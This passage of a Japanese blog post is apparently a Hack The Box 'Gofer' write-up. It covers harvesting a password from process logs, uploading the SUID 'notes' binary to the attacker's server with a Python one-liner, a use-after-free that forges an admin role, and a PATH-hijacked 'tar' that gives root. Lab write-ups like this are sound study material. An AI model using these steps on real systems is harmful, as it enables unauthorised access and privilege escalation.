2023/08/09 21:28:46 CMD: UID=0     PID=161    | 
2023/08/09 21:28:46 CMD: UID=0     PID=160    | 
2023/08/09 21:28:46 CMD: UID=0     PID=158    | 
2023/08/09 21:28:46 CMD: UID=0     PID=157    | 
2023/08/09 21:28:46 CMD: UID=0     PID=156    | 
2023/08/09 21:28:46 CMD: UID=0     PID=155    | 
2023/08/09 21:28:46 CMD: UID=0     PID=154    | 
2023/08/09 21:28:46 CMD: UID=0     PID=153    | 
2023/08/09 21:28:46 CMD: UID=0     PID=152    | 
2023/08/09 21:28:46 CMD: UID=0     PID=151    | 
2023/08/09 21:28:46 CMD: UID=0     PID=127    | 
2023/08/09 21:28:46 CMD: UID=0     PID=105    | 
2023/08/09 21:28:46 CMD: UID=0     PID=104    | 
2023/08/09 21:28:46 CMD: UID=0     PID=101    | 
2023/08/09 21:28:46 CMD: UID=0     PID=92     | 
2023/08/09 21:28:46 CMD: UID=0     PID=91     | 
2023/08/09 21:28:46 CMD: UID=0     PID=90     | 
2023/08/09 21:28:46 CMD: UID=0     PID=89     | 
2023/08/09 21:28:46 CMD: UID=0     PID=88     | 
2023/08/09 21:28:46 CMD: UID=0     PID=87     | 
2023/08/09 21:28:46 CMD: UID=0     PID=86     | 
2023/08/09 21:28:46 CMD: UID=0     PID=85     | 
2023/08/09 21:28:46 CMD: UID=0     PID=84     | 
2023/08/09 21:28:46 CMD: UID=0     PID=83     | 
2023/08/09 21:28:46 CMD: UID=0     PID=82     | 
2023/08/09 21:28:46 CMD: UID=0     PID=81     | 
2023/08/09 21:28:46 CMD: UID=0     PID=80     | 
2023/08/09 21:28:46 CMD: UID=0     PID=79     | 
2023/08/09 21:28:46 CMD: UID=0     PID=78     | 
2023/08/09 21:28:46 CMD: UID=0     PID=77     | 
2023/08/09 21:28:46 CMD: UID=0     PID=76     | 
2023/08/09 21:28:46 CMD: UID=0     PID=75     | 
2023/08/09 21:28:46 CMD: UID=0     PID=74     | 
2023/08/09 21:28:46 CMD: UID=0     PID=73     | 
2023/08/09 21:28:46 CMD: UID=0     PID=72     | 
2023/08/09 21:28:46 CMD: UID=0     PID=71     | 
2023/08/09 21:28:46 CMD: UID=0     PID=70     | 
2023/08/09 21:28:46 CMD: UID=0     PID=69     | 
2023/08/09 21:28:46 CMD: UID=0     PID=68     | 
2023/08/09 21:28:46 CMD: UID=0     PID=67     | 
2023/08/09 21:28:46 CMD: UID=0     PID=66     | 
2023/08/09 21:28:46 CMD: UID=0     PID=65     | 
2023/08/09 21:28:46 CMD: UID=0     PID=64     | 
2023/08/09 21:28:46 CMD: UID=0     PID=63     | 
2023/08/09 21:28:46 CMD: UID=0     PID=62     | 
2023/08/09 21:28:46 CMD: UID=0     PID=61     | 
2023/08/09 21:28:46 CMD: UID=0     PID=60     | 
2023/08/09 21:28:46 CMD: UID=0     PID=59     | 
2023/08/09 21:28:46 CMD: UID=0     PID=58     | 
2023/08/09 21:28:46 CMD: UID=0     PID=57     | 
2023/08/09 21:28:46 CMD: UID=0     PID=56     | 
2023/08/09 21:28:46 CMD: UID=0     PID=54     | 
2023/08/09 21:28:46 CMD: UID=0     PID=53     | 
2023/08/09 21:28:46 CMD: UID=0     PID=52     | 
2023/08/09 21:28:46 CMD: UID=0     PID=51     | 
2023/08/09 21:28:46 CMD: UID=0     PID=50     | 
2023/08/09 21:28:46 CMD: UID=0     PID=32     | 
2023/08/09 21:28:46 CMD: UID=0     PID=31     | 
2023/08/09 21:28:46 CMD: UID=0     PID=30     | 
2023/08/09 21:28:46 CMD: UID=0     PID=29     | 
2023/08/09 21:28:46 CMD: UID=0     PID=28     | 
2023/08/09 21:28:46 CMD: UID=0     PID=27     | 
2023/08/09 21:28:46 CMD: UID=0     PID=25     | 
2023/08/09 21:28:46 CMD: UID=0     PID=24     | 
2023/08/09 21:28:46 CMD: UID=0     PID=23     | 
2023/08/09 21:28:46 CMD: UID=0     PID=20     | 
2023/08/09 21:28:46 CMD: UID=0     PID=18     | 
2023/08/09 21:28:46 CMD: UID=0     PID=17     | 
2023/08/09 21:28:46 CMD: UID=0     PID=16     | 
2023/08/09 21:28:46 CMD: UID=0     PID=15     | 
2023/08/09 21:28:46 CMD: UID=0     PID=13     | 
2023/08/09 21:28:46 CMD: UID=0     PID=12     | 
2023/08/09 21:28:46 CMD: UID=0     PID=11     | 
2023/08/09 21:28:46 CMD: UID=0     PID=10     | 
2023/08/09 21:28:46 CMD: UID=0     PID=9      | 
2023/08/09 21:28:46 CMD: UID=0     PID=8      | 
2023/08/09 21:28:46 CMD: UID=0     PID=6      | 
2023/08/09 21:28:46 CMD: UID=0     PID=4      | 
2023/08/09 21:28:46 CMD: UID=0     PID=3      | 
2023/08/09 21:28:46 CMD: UID=0     PID=2      | 
2023/08/09 21:28:46 CMD: UID=0     PID=1      | /sbin/init 
2023/08/09 21:29:01 CMD: UID=0     PID=21910  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21909  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21911  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21913  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21912  | 
2023/08/09 21:29:01 CMD: UID=0     PID=21914  | /usr/bin/curl http://proxy.gofer.htb/?url=http://gofer.htb --user tbuckley:ooP4dietie3o_hquaeti                                                                                         
2023/08/09 21:29:01 CMD: UID=0     PID=21915  | /bin/sh -c /root/scripts/mail.sh 
2023/08/09 21:29:01 CMD: UID=0     PID=21917  | /bin/bash /root/scripts/mail.sh 
2023/08/09 21:29:01 CMD: UID=0     PID=21921  | /bin/bash /root/scripts/mail.sh 
2023/08/09 21:29:01 CMD: UID=0     PID=21920  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21922  | /usr/sbin/CRON -f 
2023/08/09 21:29:01 CMD: UID=0     PID=21923  | /usr/sbin/postdrop -r 
2023/08/09 21:29:01 CMD: UID=0     PID=21924  | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root 

何やらcurlコマンドの実行履歴が見える。
それにUserとPasswordが見える。
これでSSH試行してみる。
25.png
あっさり入れました。
これでUserフラグゲットです!!

Privilege Escalation - Vertical

linpeas

以下のサイトからlinpeas.shをダウンロードしてくる。

実行権限をつけて起動します。

tbuckley@gofer:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                             
    |---------------------------------------------------------------------------------|                             
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                             
    |         Follow on Twitter         :     @hacktricks_live                          |                           
    |         Respect on HTB            :     SirBroccoli                             |                             
    |---------------------------------------------------------------------------------|                             
    |                                 Thank you!                                      |                             
    \---------------------------------------------------------------------------------/                             
          linpeas-ng by carlospolop                                                                                 
                                                                                                                    
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.'           
                                                                                                                    
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                            
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

                               ╔═══════════════════╗
═══════════════════════════════╣ Basic information ╠═══════════════════════════════                                 
                               ╚═══════════════════╝                                                                
OS: Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-2 (2023-07-14)
User & Groups: uid=1002(tbuckley) gid=1002(tbuckley) groups=1002(tbuckley),1004(dev)
Hostname: gofer.htb
Writable folder: /dev/shm
[+] /usr/bin/ping is available for network discovery (linpeas can discover hosts, learn more with -h)
[+] /usr/bin/bash is available for network discovery, port scanning and port forwarding (linpeas can discover hosts, scan ports, and forward ports. Learn more with -h)                                                                 
[+] /usr/bin/nc is available for network discovery & port scanning (linpeas can discover hosts and scan ports, learn more with -h)                                                                                                      
                                                                                                                    
                                                                                                                    

Caching directories . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . DONE
                                                                                                                    
                              ╔════════════════════╗
══════════════════════════════╣ System Information ╠══════════════════════════════                                  
                              ╚════════════════════╝                                                                
╔══════════╣ Operative system
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits                                  
Linux version 5.10.0-23-amd64 (debian-kernel@lists.debian.org) (gcc-10 (Debian 10.2.1-6) 10.2.1 20210110, GNU ld (GNU Binutils for Debian) 2.35.2) #1 SMP Debian 5.10.179-2 (2023-07-14)
Distributor ID: Debian
Description:    Debian GNU/Linux 11 (bullseye)
Release:        11
Codename:       bullseye

╔══════════╣ Sudo version
sudo Not Found

...省略

╔══════════╣ Analyzing Other Interesting Files (limit 70)
-rw-r--r-- 1 root root 3526 Mar 27  2022 /etc/skel/.bashrc                                                          
-rw-r--r-- 1 ablake ablake 3526 Mar 27  2022 /home/ablake/.bashrc
-rw-r--r-- 1 jdavis jdavis 3526 Mar 27  2022 /home/jdavis/.bashrc
-rw-r--r-- 1 jhudson jhudson 3526 Oct 28  2022 /home/jhudson/.bashrc
-rw-r--r-- 1 tbuckley tbuckley 3526 Mar 27  2022 /home/tbuckley/.bashrc





-rw-r--r-- 1 root root 807 Mar 27  2022 /etc/skel/.profile
-rw-r--r-- 1 ablake ablake 807 Mar 27  2022 /home/ablake/.profile
-rw-r--r-- 1 jdavis jdavis 807 Mar 27  2022 /home/jdavis/.profile
-rw-r--r-- 1 jhudson jhudson 807 Oct 28  2022 /home/jhudson/.profile
-rw-r--r-- 1 tbuckley tbuckley 807 Mar 27  2022 /home/tbuckley/.profile






                      ╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════                                  
                      ╚════════════════════════════════════╝                                                        
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwsr-xr-- 1 root messagebus 51K Oct  5  2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper                           
-rwsr-xr-x 1 root root 471K Jul  1  2022 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 19K Jan 13  2022 /usr/libexec/polkit-agent-helper-1
-rwsr-xr-x 1 root root 35K Feb 26  2021 /usr/bin/fusermount
-rwsr-xr-x 1 root root 55K Jan 20  2022 /usr/bin/mount  --->  Apple_Mac_OSX(Lion)_Kernel_xnu-1699.32.7_except_xnu-1699.24.8                                                                                                             
-rwsr-xr-x 1 root root 63K Feb  7  2020 /usr/bin/passwd  --->  Apple_Mac_OSX(03-2006)/Solaris_8/9(12-2004)/SPARC_8/9/Sun_Solaris_2.3_to_2.5.1(02-1997)                                                                                  
-rwsr-xr-x 1 root root 35K Jan 20  2022 /usr/bin/umount  --->  BSD/Linux(08-1996)
-rwsr-xr-x 1 root root 87K Feb  7  2020 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 52K Feb  7  2020 /usr/bin/chsh
-rwsr-xr-x 1 root root 23K Jan 13  2022 /usr/bin/pkexec  --->  Linux4.10_to_5.1.17(CVE-2019-13272)/rhel_6(CVE-2011-1485)                                                                                                                
-rwsr-xr-x 1 root root 71K Jan 20  2022 /usr/bin/su
-rwsr-xr-x 1 root root 58K Feb  7  2020 /usr/bin/chfn  --->  SuSE_9.3/10
-rwsr-xr-x 1 root root 44K Feb  7  2020 /usr/bin/newgrp  --->  HP-UX_10.20
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SUID binary!)

╔══════════╣ SGID
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                    
-rwxr-sr-x 1 root ssh 347K Jul  1  2022 /usr/bin/ssh-agent                                                          
-rwxr-sr-x 1 root shadow 79K Feb  7  2020 /usr/bin/chage
-rwxr-sr-x 1 root shadow 31K Feb  7  2020 /usr/bin/expiry
-rwxr-sr-x 1 root tty 23K Jan 20  2022 /usr/bin/write.ul (Unknown SGID binary)
-rwxr-sr-x 1 root mail 23K Feb  4  2021 /usr/bin/dotlockfile
-rwxr-sr-x 1 root tty 35K Jan 20  2022 /usr/bin/wall
-rwxr-sr-x 1 root crontab 43K Feb 22  2021 /usr/bin/crontab
-r-xr-sr-x 1 root postdrop 19K Jan 22  2023 /usr/sbin/postdrop
-r-xr-sr-x 1 root postdrop 23K Jan 22  2023 /usr/sbin/postqueue
-rwxr-sr-x 1 root shadow 38K Aug 26  2021 /usr/sbin/unix_chkpwd
-rwsr-s--- 1 root dev 17K Apr 28 16:06 /usr/local/bin/notes (Unknown SGID binary)

...省略

/usr/local/bin/notesがこのUserのGroupでSUID持って回せそうだぞ。
こいつを悪用する感じかな。
notesの動きをKaliで詳細調査するために転送をしましょう!

Transfer

uploadserverを起動します。

┌──(root㉿kalimsi)-[~/work/gofer]
└─# python3 -m uploadserver  
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

攻略対象マシンで以下のコマンドを実行します。

python3 -c "import requests;requests.post(\"http://10.10.14.32:8000/upload\",files={\"files\":open(\"/usr/local/bin/notes\",\"rb\")})"

Uploadが以下のように成功してたらOKです。
※普通はmd5sumでしっかりハッシュ値を確認します。

┌──(root㉿kalimsi)-[~/work/gofer]
└─# python3 -m uploadserver  
File upload available at /upload
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.225 - - [09/Aug/2023 21:41:58] [Uploaded] "notes" --> /root/work/gofer/notes
10.10.11.225 - - [09/Aug/2023 21:41:58] "POST /upload HTTP/1.1" 200 -

さて、Localで解析を開始しましょうかね。

Reversing

Ghidra

とりあえずGhidraにこのファイルを食わしてみた。
26.png

notes.decompile
void main(void)

{
  __uid_t _Var1;
  int iVar2;
  undefined4 local_1c;
  void *local_18;
  void *local_10;
  
  local_1c = 0;
  local_10 = (void *)0x0;
  local_18 = (void *)0x0;
  do {
    puts(
        "====================================== ==\n1) Create an user and choose an usernam e\n2) Show user information\n3) Delete an  user\n4) Write a note\n5) Show a note\n6) S ave a note (not yet implemented)\n7) Delet e a note\n8) Backup notes\n9) Quit\n====== ==================================\n\n"
        );
    printf("Your choice: ");
    __isoc99_scanf(&DAT_0010212b,&local_1c);
    puts("");
    switch(local_1c) {
    default:
                    /* WARNING: Subroutine does not retur n */
      exit(0);
    case 1:
      local_10 = malloc(0x28);
      if (local_10 == (void *)0x0) {
                    /* WARNING: Subroutine does not retur n */
        exit(-1);
      }
      memset(local_10,0,0x18);
      memset((void *)((long)local_10 + 0x18),0,0 x10);
      _Var1 = getuid();
      if (_Var1 == 0) {
        *(undefined4 *)((long)local_10 + 0x18) = 0 x696d6461;
        *(undefined *)((long)local_10 + 0x1c) = 0x 6e;
      }
      else {
        *(undefined4 *)((long)local_10 + 0x18) = 0 x72657375;
      }
      printf("Choose an username: ");
      __isoc99_scanf(&DAT_00102144,local_10);
      puts("");
      break;
    case 2:
      if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        printf("\nUsername: %s\n",local_10);
        printf("Role: %s\n\n",(long)local_10 + 0x 18);
      }
      break;
    case 3:
      if (local_10 != (void *)0x0) {
        free(local_10);
      }
      break;
    case 4:
      local_18 = malloc(0x28);
      memset(local_18,0,0x28);
      if (local_18 == (void *)0x0) {
                    /* WARNING: Subroutine does not retur n */
        exit(-1);
      }
      puts("Write your note:");
      __isoc99_scanf(&DAT_0010218b,local_18);
      break;
    case 5:
      printf("Note: %s\n\n",local_18);
      break;
    case 6:
      puts("Coming soon!\n");
      break;
    case 7:
      if (local_18 != (void *)0x0) {
        free(local_18);
        local_18 = (void *)0x0;
      }
      break;
    case 8:
      if (local_10 == (void *)0x0) {
        puts("First create an user!\n");
      }
      else {
        iVar2 = strcmp((char *)((long)local_10 + 0 x18),"admin");
        if (iVar2 == 0) {
          puts("Access granted!");
          setuid(0);
          setgid(0);
          system("tar -czvf /root/backups/backup_ notes.tar.gz /opt/notes");
        }
        else {
          puts("Access denied: you don\'t have the a dmin role!\n");
        }
      }
    }
  } while( true );
}

実際にこのバイナリを起動してみればある程度わかると思うが、最初にどの機能を利用するか聞かれた後にCase文でそれぞれの処理に飛ばす感じだ。
case 8を見てもらうと分かりやすいが、Full Pathを指定せずにtarコマンドを実行している。
これを考慮すると、tarに/bin/bashなどのExploitを仕込んでおいてPathをその仕込んだtarファイルがある場所(今回はtmpに仕込んだ)を注入すればOKだろう。
ただこのcase 8に飛ぶためには以下のadmin判定をなんとかしないとelseでAccess deniedされてしまう。

iVar2 = strcmp((char *)((long)local_10 + 0 x18),"admin");

admin判定にはlocal_10の変数が関係ありそうに使われているわけだが、これはcase 1でも以下のように呼び出されており、mallocでメモリ確保されている。これが確保されていない場合(Userが作られてない場合)はcase 8if (local_10 == (void *)0x0)で弾かれてFirst create an user!言われるわけだ。

case 1:
    local_10 = malloc(0x28);

更にcase 1を見てみると以下のコードでUserの権限を確認していることがわかる。

_Var1 = getuid();
if (_Var1 == 0) {
    *(undefined4 *)((long)local_10 + 0x18) = 0 x696d6461;
    *(undefined *)((long)local_10 + 0x1c) = 0x 6e;
}
else {
    *(undefined4 *)((long)local_10 + 0x18) = 0 x72657375;
}

local_10 + 0x18にUserの権限フラグか何かを投入しているみたいだ。なるほど。
よくわからんから動的にデバックして更なる解析を実施する。

radare2

radare2を使ってデバックしちゃいます!
Boxにはわざわざgdbが使えるようにインストールされていましたがr2派閥なので...
とりあえず権限をバイナリに読み取られてしまうようなのでUser権限で以下を実行します。
※notesには実行権限を付与しておきましょう。

┌──(taksec㉿kalimsi)-[~]
└─# r2 -A -d notes

pdf @mainコマンドでmain関数のディスアセンブルを確認し、機能をswitchする命令部分でブレイクポイントを設定(dbコマンド)します。
これで色々と機能を追いやすくなるはずなので。
1.png
メモリの横にbフラグが立てば成功です。
さて、ではdcコマンドで実行します。Userを入力する画面では42で確認しやすいようにBBBと入力します。
2.png
このBBB(424242)がどこに保存されているかビジュアルモード(V!コマンド)で確認しにいきます。
3.png
rsiのレジスタの値を確認しにいくとここに保存されているようでした。ここがlocal_10に当たる部分ですかね。このまま何もせずにcase 8を起動するためにcase 8の部分のアセンブリを眺めにいきます。
4.png
わかんないのでadd rax 0x18している部分にブレークポイントを仕込みます。(Ghidraでも見た18バイト操作)
5.png
この状態でraxのレジストリを確認しにいきます。あ、さっきのUser名がいる。
6.png
ではこのadd rax 0x18を実施した後の動作を確認します。その為に直後にブレークポイントを設定します。
7.png
先ほどと同様にraxのレジストリを確認してみると先ほどUser名が格納されていたメモリから18バイト(24文字)分の値が抜け落ちています。
8.png
あー!このraxをrdiに入れて、adminの値を入れてるrsiとstrcmpを呼び出して比較してるわけか。(一気に3行分のcase 8のアセンブリを読みました。)ある程度動きが読めました。

また、case 4の機能をいじっているとわかるのですが、このNoteの名前を保存する機能(case 4)の保存先もrsiを見ればわかりますが、0x561e27a356b0です。バッファーオーバーフローでcase 4経由で24文字の余分な文字を含んだNoteの名前を作成すれば、admin権限を読み取るメモリを汚染できるのではと考えます。

というわけで、以下のようなNoteをcase 4経由で作成します。

AAAAAAAAAAAAAAAAAAAAAAAAadmin

先ほどのUser:BBBを作成した後にcase 3を使い、クリアした後にこのNoteをcase 4で叩き込みます。
そうすると、以下のようにrsiが変化します。
9.png
これで先ほどと同じようにadd rax 0x18を実行させると以下のraxのようになります。
10.png
adminの16進数文字(61646d696e)が読み込まれそうですね。そのままdcで実行します。
11.png
うまくtar実行のコマンドまで辿り着いているみたいです!
よし!!あとはtarコマンドを偽装するだけだ!

PATH汚染

まず偽装するtarファイルを作成します。

tar
/bin/bash

次にPATHの環境変数を汚染します。

tbuckley@gofer:/tmp$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
tbuckley@gofer:/tmp$ export PATH=/tmp:$PATH
tbuckley@gofer:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

これで悪性なtarファイルを実行できます。
先ほどLocalで実行した手順でnotesを回します。
27.png
特権奪取に成功しました!!!

まとめ

スクリーンショット 2023-09-03 0.17.42.png
これで特権昇格に成功し、Root権限奪取に成功しました。
Hardの初PWNということもあってとても嬉しかったです。そしてとても難しかったです。(でもSandwormの方が難しかった印象。)
これで念願のPro Hacker昇格を果たしました。ありがとうございます。Proです。

今回もセキュリティエンジニアの皆さんの助けになればなと思います。

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?